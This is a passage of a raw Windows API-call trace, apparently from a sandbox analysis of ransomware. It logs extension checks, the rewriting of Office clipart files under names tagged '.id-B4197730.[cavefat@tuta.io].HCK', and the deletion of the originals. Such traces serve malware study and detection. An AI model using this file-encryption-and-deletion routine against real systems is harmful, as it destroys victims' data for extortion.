lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0227.930] lstrlenW (lpString=".ppt") returned 4 [0227.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.930] lstrlenW (lpString=".zip") returned 4 [0227.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.930] lstrlenW (lpString=".rar") returned 4 [0227.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.930] lstrlenW (lpString=".bz2") returned 4 [0227.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.930] lstrlenW (lpString=".7z") returned 3 [0227.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".dbf") returned 4 [0227.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".1cd") returned 4 [0227.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".jpg") returned 4 [0227.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".doc") returned 4 [0227.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString=".docx") returned 5 [0227.931] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0227.931] lstrlenW (lpString=".pdf") returned 4 [0227.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString=".xls") returned 4 [0227.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.931] lstrlenW (lpString=".xlsx") returned 5 [0227.931] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0227.931] lstrlenW (lpString=".ppt") returned 4 [0227.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".zip") returned 4 [0227.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.931] lstrlenW (lpString=".rar") returned 4 [0227.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString=".bz2") returned 4 [0227.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString=".7z") returned 3 [0227.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".dbf") returned 4 [0227.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".1cd") returned 4 [0227.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.931] lstrlenW (lpString=".jpg") returned 4 [0227.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.931] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.932] lstrlenW (lpString="J0099174.WMF") returned 12 [0227.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.932] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6214) returned 1 [0227.932] CloseHandle (hObject=0x4c4) returned 1 [0227.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0227.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.933] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.933] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0227.934] GetLastError () returned 0x0 [0227.934] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1846, lpOverlapped=0x0) returned 1 [0227.935] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1850, lpOverlapped=0x0) returned 1 [0227.936] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.936] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.936] SetEndOfFile (hFile=0x4c8) returned 1 [0227.936] CloseHandle (hObject=0x4c8) returned 1 [0227.936] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.936] SetEndOfFile (hFile=0x4c4) returned 1 [0227.938] CloseHandle (hObject=0x4c4) returned 1 [0227.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0227.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.939] lstrlenW (lpString=".doc") returned 4 [0227.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.939] lstrlenW (lpString=".docx") returned 5 [0227.939] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0227.939] lstrlenW (lpString=".pdf") returned 4 [0227.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.939] lstrlenW (lpString=".xls") returned 4 [0227.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.939] lstrlenW (lpString=".xlsx") returned 5 [0227.939] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0227.939] lstrlenW (lpString=".ppt") returned 4 [0227.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.939] lstrlenW (lpString=".zip") returned 4 [0227.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.940] lstrlenW (lpString=".rar") returned 4 [0227.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".bz2") returned 4 [0227.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".7z") returned 3 [0227.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".dbf") returned 4 [0227.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".1cd") returned 4 [0227.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".jpg") returned 4 [0227.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".doc") returned 4 [0227.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".docx") returned 5 [0227.940] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0227.940] lstrlenW (lpString=".pdf") returned 4 [0227.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".xls") returned 4 [0227.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.940] lstrlenW (lpString=".xlsx") returned 5 [0227.940] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0227.940] lstrlenW (lpString=".ppt") returned 4 [0227.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".zip") returned 4 [0227.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.940] lstrlenW (lpString=".rar") returned 4 [0227.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".bz2") returned 4 [0227.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString=".7z") returned 3 [0227.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".dbf") returned 4 [0227.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".1cd") returned 4 [0227.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0227.940] lstrlenW (lpString=".jpg") returned 4 [0227.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.941] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.941] lstrlenW (lpString="J0099175.WMF") returned 12 [0227.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.942] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9744) returned 1 [0227.942] CloseHandle (hObject=0x4c4) returned 1 [0227.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0227.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.942] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.942] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0227.943] GetLastError () returned 0x0 [0227.943] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2610, lpOverlapped=0x0) returned 1 [0227.944] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2620, lpOverlapped=0x0) returned 1 [0227.945] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.945] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.945] SetEndOfFile (hFile=0x4c8) returned 1 [0227.945] CloseHandle (hObject=0x4c8) returned 1 [0227.945] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.945] SetEndOfFile (hFile=0x4c4) returned 1 [0227.947] CloseHandle (hObject=0x4c4) returned 1 [0227.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0227.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.948] lstrlenW (lpString=".doc") returned 4 [0227.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.948] lstrlenW (lpString=".docx") returned 5 [0227.948] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0227.948] lstrlenW (lpString=".pdf") returned 4 [0227.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".xls") returned 4 [0227.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.949] lstrlenW (lpString=".xlsx") returned 5 [0227.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0227.949] lstrlenW (lpString=".ppt") returned 4 [0227.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".zip") returned 4 [0227.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.949] lstrlenW (lpString=".rar") returned 4 [0227.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".bz2") returned 4 [0227.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".7z") returned 3 [0227.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".dbf") returned 4 [0227.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".1cd") returned 4 [0227.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".jpg") returned 4 [0227.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".doc") returned 4 [0227.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".docx") returned 5 [0227.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0227.949] lstrlenW (lpString=".pdf") returned 4 [0227.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".xls") returned 4 [0227.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.949] lstrlenW (lpString=".xlsx") returned 5 [0227.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0227.949] lstrlenW (lpString=".ppt") returned 4 [0227.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.949] lstrlenW (lpString=".zip") returned 4 [0227.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.949] lstrlenW (lpString=".rar") returned 4 [0227.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".bz2") returned 4 [0227.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.949] lstrlenW (lpString=".7z") returned 3 [0227.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.950] lstrlenW (lpString=".dbf") returned 4 [0227.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.950] lstrlenW (lpString=".1cd") returned 4 [0227.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0227.950] lstrlenW (lpString=".jpg") returned 4 [0227.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.950] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.950] lstrlenW (lpString="J0099176.WMF") returned 12 [0227.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.950] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2488) returned 1 [0227.950] CloseHandle (hObject=0x4c4) returned 1 [0227.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0227.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.951] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.951] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0227.952] GetLastError () returned 0x0 [0227.952] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0228.258] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0228.259] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.259] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.259] SetEndOfFile (hFile=0x4c8) returned 1 [0228.260] CloseHandle (hObject=0x4c8) returned 1 [0228.260] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.260] SetEndOfFile (hFile=0x4c4) returned 1 [0228.262] CloseHandle (hObject=0x4c4) returned 1 [0228.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0228.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.264] lstrlenW (lpString=".doc") returned 4 [0228.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.264] lstrlenW (lpString=".docx") returned 5 [0228.264] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0228.264] lstrlenW (lpString=".pdf") returned 4 [0228.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.264] lstrlenW (lpString=".xls") returned 4 [0228.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.264] lstrlenW (lpString=".xlsx") returned 5 [0228.264] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0228.264] lstrlenW (lpString=".ppt") returned 4 [0228.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.264] lstrlenW (lpString=".zip") returned 4 [0228.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.264] lstrlenW (lpString=".rar") returned 4 [0228.265] 